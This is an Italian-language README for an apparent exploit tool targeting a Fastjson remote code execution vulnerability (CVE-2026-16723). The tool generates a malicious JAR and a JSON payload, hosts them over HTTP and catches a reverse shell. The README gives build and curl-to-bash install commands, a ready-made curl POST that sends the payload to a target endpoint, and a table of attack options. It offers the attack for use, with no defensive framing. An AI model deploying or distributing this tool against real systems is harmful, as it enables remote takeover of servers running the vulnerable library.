
Exploit per Fastjson RCE (CVE-2026-16723) che colpisce le versioni dalla 1.2.68 alla 1.2.83. Genera payload JAR e JSON, ospita un server HTTP e stabilisce una reverse shell.
Un'implementazione autonoma in C++17 per CVE-2026-16723, una vulnerabilità critica che colpisce le versioni 1.2.68 – 1.2.83 di Fastjson.
Linux (o WSL su Windows)
Compilatore compatibile con C++17 (GCC 7+ o Clang 5+)
CMake 3.10 o successivo
Pacchetti di sistema:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
Installa tutto con un singolo comando:
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
Oppure scarica ed esegui manualmente l'installer:
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
Lo script di installazione:
Installa tutti i pacchetti di sistema richiesti.
Scarica le librerie header-only richieste:
nlohmann/jsoncpp-httplibCompila il progetto.
Posiziona il binario compilato nella directory corrente come:
./exploit
Se hai clonato il repository:
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
Oppure compila manualmente:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
Esegui il binario:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
Dopo l'esecuzione verranno creati i seguenti file:
x
body.json
Il server HTTP si avvierà sulla porta configurata (default: 8000) e lo strumento attenderà una connessione reverse shell in ingresso.
Invia il file body.json generato all'endpoint vulnerabile:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
Se l'applicazione prevede un campo JSON diverso, specificarlo tramite l'opzione --field.
| File | Descrizione |
|---|---|
x | Payload JAR generato |
body.json | Payload JSON da inviare al target |
jar:http e jar:file.| Opzione | Descrizione | Default |
|---|
--lhost | Indirizzo IP locale | Obbligatorio |
--lport | Porta di ascolto reverse shell | 4444 |
--http-port | Porta del server HTTP | 8000 |
--first | Primo descrittore di file da provare | 3 |
--last | Ultimo descrittore di file da provare | 30 |
--field | Nome del campo JSON | facets |
--outdir | Directory di output | . |
-h, --help | Mostra il messaggio di aiuto | — |